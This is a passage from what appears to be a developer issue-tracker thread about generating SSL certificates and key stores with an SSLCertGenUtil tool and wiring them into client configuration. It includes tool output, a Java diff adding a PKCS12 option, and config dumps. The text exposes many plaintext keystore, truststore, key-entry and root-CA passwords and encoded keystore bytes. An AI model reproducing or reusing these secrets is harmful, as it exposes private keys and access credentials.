SECURITY:TRUSTSTORE:BYTES = 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
SECURITY:CERTIFICATE:VALIDATE = true
SECURITY:TRUST_MGR:DISABLE = false
SECURITY:TRANSPORT:REFRESH = true
ACCESS:PASSWORD:TRUSTSTORE = MhBKWHGp79`1VX#Pf9`gNG6GgvYY#k34hK2T
and remotely started web client:
SECURITY:TRUSTSTORE:ALIAS = standard
SECURITY:TRUSTSTORE:BYTES = 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
SECURITY:CERTIFICATE:VALIDATE = true
SECURITY:TRUST_MGR:DISABLE = false
SECURITY:TRANSPORT:REFRESH = true
ACCESS:PASSWORD:TRUSTSTORE = 8FJdk4uFKhjXk>E5cPA^uY3i#d@nW4CdG686
#184 Updated by Greg Shah 9 months ago
We always have the option to minimize the number of values, and have other values derive from the configured ones, for example, the broker_process_name could be the broker_name with
_processappended to the end.
Yes, calculate values where you can.
The
accesskey info may be created "on-the-fly" via a call toSSLCertGenUtil, and extracted from the log file. But should that be done everytime, or just a onetime thing and theprepare_dir.jsonbe saved off... Constantin designed similar for radius's configuration, withprepare_env.shutilizing a pre-configured JSON for the rest of the configuration.
Design it so that it is separate and can be a one-time thing. That gives us maximum flexibility. This makes it less monolithic. That is generally a very good thing.
Is there any benefit to making this capability separate from
prepare_dir.shso that it could be run separately and "added" to an existingdirectory.xml? Or should we builddirectory.xmlin completeness each time?
I'm not sure about this. To the degree that this is a natural implementation choice, then it is a good thing because we will benefit from separation of concerns. But the concept of adding this to an existing directory is not likely to be used.
#185 Updated by Sergey Ivanovskiy 9 months ago
Another possible issue is that FWD generates certificate stores using the following proprietary format:
keytool -list -keystore broker1-private-key.store Enter keystore password: Keystore type: jks Keystore provider: SUN Your keystore contains 1 entry broker1, Oct 15, 2025, PrivateKeyEntry, Certificate fingerprint (SHA-256): 2D:DB:AA:A5:EC:C6:74:E9:43:FD:83:6C:9B:FA:BD:30:D9:F2:A3:9A:E0:9F:C6:0D:99:2F:F1:B5:FB:04:03:C1 Warning: The JKS keystore uses a proprietary format. It is recommended to migrate to PKCS12 which is an industry standard format using "keytool -importkeystore -srckeystore broker1-private-key.store -destkeystore broker1-private-key.store -deststoretype pkcs12".
#186 Updated by Roger Borrello 9 months ago
I followed the ssl_certs_log output to generate my keys and key stores that you had in your server2 directory. Should there have been other options added to the command line? Like -C or --reuse-ca so as to reuse the root CA? I must admit, the parameters to SSLCertGenUtil can be intimidating!
I annotated where values from the output should get set in the client.xml file.
sbi@am:~/projects/testcases/simple/server2$ java -classpath ../../uast/p2j/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil directory.xml
Initializing service for directory directory.xml...
Reading company configuration...
Using 'US' for [C] Country Code.
Using 'Atlanta' for [L] Locality (city, etc).
Using 'Golden Code Development Corporation' for [O] Organization.
Using 'Information Technology' for [OU] Organization Unit.
Using 'Georgia' for [ST] State or Province Name.
Using 10 years for validity.
Enter RSA key strength (in bits), greater or equal than 2048 (blank for default 2048):
Enter RSA public exponent, blank for default (65337):
Adding account /security/accounts/processes/standard
Adding account /security/accounts/processes/broker1_process
Adding account /security/accounts/users/bogus
Account /security/accounts/users/admin ignored - no alias is defined
Account /security/accounts/users/yqo8su574us3z676 ignored - no alias is defined
Account /security/accounts/users/h7y287c5yp5pc8r7 ignored - no alias is defined
Account /security/accounts/users/31k46f97zr0ztwd6 ignored - no alias is defined
Account /security/accounts/users/8bw98ap5y85c7qt1 ignored - no alias is defined
Account /security/accounts/users/t02360s7gkd7lwg7 ignored - no alias is defined
Account /security/accounts/users/h0z7q14zz98wxj17 ignored - no alias is defined
Account /security/accounts/users/vi0y3axn5s9239a2 ignored - no alias is defined
Account /security/accounts/users/3m6u73sr98dq4qc6 ignored - no alias is defined
Re-use the encryption passwords currently in the directory (yes/no): no
Re-use the root CA currently in the directory (yes/no): no
Generating root CA using [p2j-root] alias...
Generating certificate for account with alias [broker1]...
Generating certificate for account with alias [shared]...
Generating certificate for server with alias [standard]...
Encrypt the in-directory private keys using the same password (yes/no): yes
Private key for root CA [p2j-root] was encrypted using the [~Kl4OAY4UTBKAbFh&_A6B6vEoY041R9!] password and the password was NOT SAVED in the directory. Losing this password will prohibit using the root CA to issue new certificates.
Adding certificate for alias [p2j-root] to the /security/certificates/cas/p2j-root node...
Private key for alias [broker1] was encrypted using the [5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q] password and saved in the /security/certificates/private-keys/broker1 node.
Use the access:password:keyentry-broker1 key to set this password in the server's bootstrap config file and delete the /security/certificates/private-keys/broker1 node from the directory.
Private key for alias [shared] was encrypted using the [5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q] password and saved in the /security/certificates/private-keys/shared node.
Use the access:password:keyentry-shared key to set this password in the server's bootstrap config file and delete the /security/certificates/private-keys/shared node from the directory.
Private key for alias [standard] was encrypted using the [5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q] password and saved in the /security/certificates/private-keys/standard node.
Use the access:password:keyentry-standard key to set this password in the server's bootstrap config file and delete the /security/certificates/private-keys/standard node from the directory.
Adding certificate for alias [broker1] to the /security/certificates/peers/broker1 node...
Adding certificate for alias [shared] to the /security/certificates/peers/shared node...
Adding certificate for alias [standard] to the /security/certificates/peers/standard node...
Save the account private keys in external key-store(s) (yes/no): yes
Save the private keys in the same key store (yes/no): no
The private key for certificate [broker1] was saved in the [broker1-private-key.store] key store, using store password [XL57uunOAod4(7xniwAg6e`1a0Su~)g8DRmX] and key-entry password [g8j4=mxVd*063QskHNuRfPJ6swd_2<JEgQX6]. <password keystore=... /> and <password keyentry=... />
The private key for certificate [shared] was saved in the [shared-private-key.store] key store, using store password [P40txe8HZexWxH4x%P6X8o7KPk&u4tCPM_P>] and key-entry password [kW9MNr8S<)j-8xWeq8ZTzl5t-QKJ7B2Yh1nI].
Save the server private keys in external key-store(s) (yes/no): yes
Save the private keys in the same key store (yes/no): no
The private key for certificate [standard] was saved in the [standard-private-key.store] key store, using store password [&QF4g&TSaA6AHBAo1dMw7%rEvI7=332dsGJE] and key-entry password [5seEse61i7HI1P3?pSAQHDaU4=2XaY`LbW^s].
Save servers' certificates in an external key store (yes/no): yes
Include the root CA certificate, to use this store as a trust store (yes/no)? yes
Enter key store file name: srv-certs.store
The servers' certificates [standard] were saved in the [srv-certs.store] key store, using password [d61pi96tP8MS!T^87Efcjyl1QtPs_EgvIKZ!]. <password truststore=.../>
Save the root CA private key in an external key store (yes/no): yes
Enter key store file name: root-ca-key.store
The root CA's private key and certificate were saved in the [root-ca-key.store] store.
The key store was encrypted using the [75EkRBMEb4OC%0oHG-lAoEV37g4Yq))AqD0k] password, while the root CA's private key was encrypted using the [2&1XgqEw7~ezokkT*fz8aDM7vTIk3FwX#8r0] password.
Done.
WARNING! Any configuration set at the client.xml or server.xml files or via bootstrap config arguments will have priority over the in-directory keys or certificates.
WARNING! The private key encryption passwords for all the account certificates are saved unencrypted in the directory. The root CA's private key can be safely deleted, if it is not required to issue other certificates using this CA.
WARNING! All private keys are encrypted using the same [5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q] password. If needed, delete the 'key-password' nodes from the directory manually, and set this password using the access:password:masterkeyentry bootstrap config at server startup. <password masterkeyentry=... />
The above values go into the client.xml:
<access>
<password truststore="d61pi96tP8MS!T^87Efcjyl1QtPs_EgvIKZ!" />
<password keystore="XL57uunOAod4(7xniwAg6e`1a0Su~)g8DRmX" />
<password keyentry="g8j4=mxVd*063QskHNuRfPJ6swd_2<JEgQX6"/>
<password masterkeyentry="5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q" />
</access>
#187 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Another possible issue is that FWD generates certificate stores using the following proprietary format:
[...]
The SSLCertGenUtil.createEmptyStore() method could be updated to have a version receiving String type, and include that in the KeyStore.getInstance(type) instead of hard coding to "JKS":
static KeyStore createEmptyStore()
throws SSLCertGenException
{
try
{
KeyStore ks = KeyStore.getInstance("JKS");
ks.load(null, null);
return ks;
}
catch (NoSuchAlgorithmException | CertificateException | IOException | KeyStoreException e)
{
throw new SSLCertGenException(e);
}
}
There are other places where this method is used (ManagedWebServer and SecurityCache). Would there would be issues if we changed the default to "PKCS12"? If the utility received a parameter for specifying the store type, would users of the store be able to work without any changes?
#188 Updated by Sergey Ivanovskiy 9 months ago
Roger, yes, you are correct. My message was just an idea but you are correct that it cannot be used from the box, it needs to change the code.
Sergey Ivanovskiy wrote:
I tried to compare output parameters dumped into web client log for local spawned web client and remotely spawned web client, these parameters should be the same but I have no idea why there is a difference in
ACCESS:PASSWORD:TRUSTSTOREfor these two types of local and remote start:
Locally started web client:
[...]
and remotely started web client:
[...]
According to the code the certificate store for the web client is build on the fly from the existed store with new randomly generated password, so ACCESS:PASSWORD:TRUSTSTORE should be "random" between clients.
#189 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
According to the code the certificate store for the web client is build on the fly from the existed store with new randomly generated password, so
ACCESS:PASSWORD:TRUSTSTOREshould be "random" between clients.
So this should be in the broker1_client.xml?
<access>
<password truststore="random" />
...
Does it help to allow an option to SSLCertGenUtil, such as below?
=== modified file 'src/com/goldencode/p2j/security/SSLCertGenUtil.java'
--- old/src/com/goldencode/p2j/security/SSLCertGenUtil.java 2024-05-14 08:45:40 +0000
+++ new/src/com/goldencode/p2j/security/SSLCertGenUtil.java 2025-10-21 18:32:11 +0000
@@ -310,10 +310,10 @@
// 3. key store for the private key for each non-serverprocess and user accounts
// 4. cert store with the process and user certificates
- trustCertStore = createEmptyStore();
- trustKeyStore = createEmptyStore();
- accCertStore = createEmptyStore();
- accKeyStore = createEmptyStore();
+ trustCertStore = createEmptyStore(inputParameters.storeType);
+ trustKeyStore = createEmptyStore(inputParameters.storeType);
+ accCertStore = createEmptyStore(inputParameters.storeType);
+ accKeyStore = createEmptyStore(inputParameters.storeType);
}
/**
@@ -616,7 +616,7 @@
KeyStore pkStore;
try
{
- pkStore = createEmptyStore();
+ pkStore = createEmptyStore(inputParameters.storeType);
if (!reusePasswords || (webPrivateKeyPassword == null))
{
@@ -785,7 +785,7 @@
pkFile = String.format("%s-private-key.store", alias);
- pkStore = createEmptyStore();
+ pkStore = createEmptyStore(inputParameters.storeType);
try
{
@@ -848,7 +848,7 @@
Key rootKey = this.trustKeyStore.getKey(rootCAAlias, kepass.toCharArray());
- KeyStore store = createEmptyStore();
+ KeyStore store = createEmptyStore(inputParameters.storeType);
store.setKeyEntry(rootCAAlias,
rootKey,
kepass.toCharArray(),
@@ -909,7 +909,7 @@
}
try
{
- KeyStore store = createEmptyStore();
+ KeyStore store = createEmptyStore(inputParameters.storeType);
String firstAlias = null;
for (String alias : serverAliases)
{
@@ -1061,7 +1061,7 @@
pkFile = String.format("%s-private-key.store", alias);
}
- pkStore = createEmptyStore();
+ pkStore = createEmptyStore(inputParameters.storeType);
}
try
@@ -1880,6 +1880,33 @@
}
/**
+ * Create an empty store of type passed, to hold either private keys or certificates.
+ *
+ * @param type
+ * Format of the store to create, such as "JKS" or "PKCS12"
+ *
+ * @return An empty {@link KeyStore} instance.
+ *
+ * @throws SSLCertGenException
+ * If the store could not be generated.
+ */
+ static KeyStore createEmptyStore(StoreType type)
+ throws SSLCertGenException
+ {
+ try
+ {
+ String t = (type == StoreType.PKCS12) ? "PKCS12" : "JKS";
+ KeyStore ks = KeyStore.getInstance(t);
+ ks.load(null, null);
+ return ks;
+ }
+ catch (NoSuchAlgorithmException | CertificateException | IOException | KeyStoreException e)
+ {
+ throw new SSLCertGenException(e);
+ }
+ }
+
+ /**
* Create a random 256-bit password to be used as an AES encryption key.
* <p>
* If {@link #reusePasswords} is on, and there is a password in the directory, that will be
@@ -1984,6 +2011,15 @@
}
/**
+ * The enumeration type for key store types
+ */
+ enum StoreType
+ {
+ JKS,
+ PKCS12
+ }
+
+ /**
* Defines option names to load external CA certificates.
*/
enum ExternalCertificates
@@ -2375,5 +2411,14 @@
forbids={"-C", "-L", "-bal"},
usage="The registration contact information.")
public String contact;
+
+ /**
+ * The store type.
+ */
+ @Option(name="-stype",
+ aliases="--store-type",
+ usage="The store type, JKS or PKSC12.")
+ public StoreType storeType = StoreType.JKS;
+
}
}
#190 Updated by Sergey Ivanovskiy 9 months ago
No, this diff is not enough as you noted that KeyStore.getInstance("JKS"); is used in the code of SecurityManager and there are another code.
By random, I meant that srv-certs.store is used to get target certificates and then the new trusted store is created with different access passwords (created randomly) but in order to read srv-certs.store we need these entries for the broker client configuration
"security_truststore_filename": "srv-certs.store",
"security_keystore_filename": "broker1-private-key.store",
"broker_name_alias": "broker1",
"access_truststore": "y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd",
"access_keystore": "(G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O",
"access_keyentry": "dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx",
"access_masterkeyentry": "7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x"
Sorry for confusions caused by my notes.
#191 Updated by Roger Borrello 9 months ago
directory.xml.template for:
- ehotel
- embedded
- shared
- standard
I ran java -classpath ../../p2j/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -C YES -P YES -dir directory.xml so as to reuse root CA from the directory, and maintain the same passwords. Wouldn't that be a better method to add the broker to the configuration?
I got this output:
Initializing service for directory directory.xml... Reading company configuration... Using 'US' for [C] Country Code. Using 'Alpharetta' for [L] Locality (city, etc). Using 'GoldenCode' for [O] Organization. Using 'Hotel' for [OU] Organization Unit. Using 'GA' for [ST] State or Province Name. Using 10 years for validity. Adding account /security/accounts/processes/standard Adding account /security/accounts/processes/ehotel Adding account /security/accounts/processes/embedded Adding account /security/accounts/processes/broker1_process Adding account /security/accounts/users/bogus WARNING: alias shared is set for multiple accounts! Account /security/accounts/users/hotel ignored - no alias is defined Account /security/accounts/users/244S6d0lo9P08LXQ ignored - no alias is defined Account /security/accounts/users/003MKDj8r084Xy2h ignored - no alias is defined Account /security/accounts/users/k45Tk59647dvsVj0 ignored - no alias is defined Account /security/accounts/users/5od6R3c558dDU54S ignored - no alias is defined Account /security/accounts/users/3JO65Rvk1t4wN773 ignored - no alias is defined Account /security/accounts/users/RwI24S30gX029M8p ignored - no alias is defined Account /security/accounts/users/68Dv3c76kR98WqL7 ignored - no alias is defined Account /security/accounts/users/GyV89H01dxn02N24 ignored - no alias is defined Enter the target P2J server identifier (by default "standard"): Enter the root CA private-key encryption password: ^u0mrGn)o2X5nor109+KAvt&teTCn2v7 Re-using root CA using [hotel-root] alias... Generating certificate for account with alias [broker1]... Generating certificate for account with alias [ehotel]... Generating certificate for account with alias [embedded]... Generating certificate for account with alias [shared]... Generating certificate for server with alias [standard]... Private key for alias [broker1] was encrypted using the [7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x] password and saved in the /security/certificates/private-keys/broker1 node. Use the access:password:keyentry-broker1 key to set this password in the server's bootstrap config file and delete the /security/certificates/private-keys/broker1 node from the directory. Adding certificate for alias [broker1] to the /security/certificates/peers/broker1 node... Certificate for alias [broker1] has checksum [5e87d270b0a124fc211060cf102d5d1b] Private key for alias [ehotel] was encrypted using the [KmO`8b3K5dwAN>2w4D4^>61Cplojjtjw] password and saved in the /security/certificates/private-keys/ehotel node. Use the access:password:keyentry-ehotel key to set this password in the server's bootstrap config file and delete the /security/certificates/private-keys/ehotel node from the directory. Adding certificate for alias [ehotel] to the /security/certificates/peers/ehotel node... Certificate for alias [ehotel] has checksum [f7abf276492da86f64f493e7131a4f22] Private key for alias [embedded] was encrypted using the [09Ed64TfKyPHw(>QVI4zhMUfX5yS)$95] password and saved in the /security/certificates/private-keys/embedded node. Use the access:password:keyentry-embedded key to set this password in the server's bootstrap config file and delete the /security/certificates/private-keys/embedded node from the directory. Adding certificate for alias [embedded] to the /security/certificates/peers/embedded node... Certificate for alias [embedded] has checksum [d2c16411172401796bf3131ea75dd529] Private key for alias [shared] was encrypted using the [mzDoMKiU@3B40EgbHEu^4d~W5Z~09Xv5] password and saved in the /security/certificates/private-keys/shared node. Use the access:password:keyentry-shared key to set this password in the server's bootstrap config file and delete the /security/certificates/private-keys/shared node from the directory. Adding certificate for alias [shared] to the /security/certificates/peers/shared node... Certificate for alias [shared] has checksum [340fc696eab9711873a8cbb685a64bee] Private key for alias [standard] was encrypted using the [Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5] password and saved in the /security/certificates/private-keys/standard node. Use the access:password:keyentry-standard key to set this password in the server's bootstrap config file and delete the /security/certificates/private-keys/standard node from the directory. Adding certificate for alias [standard] to the /security/certificates/peers/standard node... Certificate for alias [standard] has checksum [e24c8a0e8d72ecd38c98d19336b69919] The private key for certificate [broker1] was saved in the [broker1-private-key.store] key store, using store password [7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x] and key-entry password [7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x]. The private key for certificate [ehotel] was saved in the [ehotel-private-key.store] key store, using store password [KmO`8b3K5dwAN>2w4D4^>61Cplojjtjw] and key-entry password [KmO`8b3K5dwAN>2w4D4^>61Cplojjtjw]. The private key for certificate [embedded] was saved in the [embedded-private-key.store] key store, using store password [09Ed64TfKyPHw(>QVI4zhMUfX5yS)$95] and key-entry password [09Ed64TfKyPHw(>QVI4zhMUfX5yS)$95]. The private key for certificate 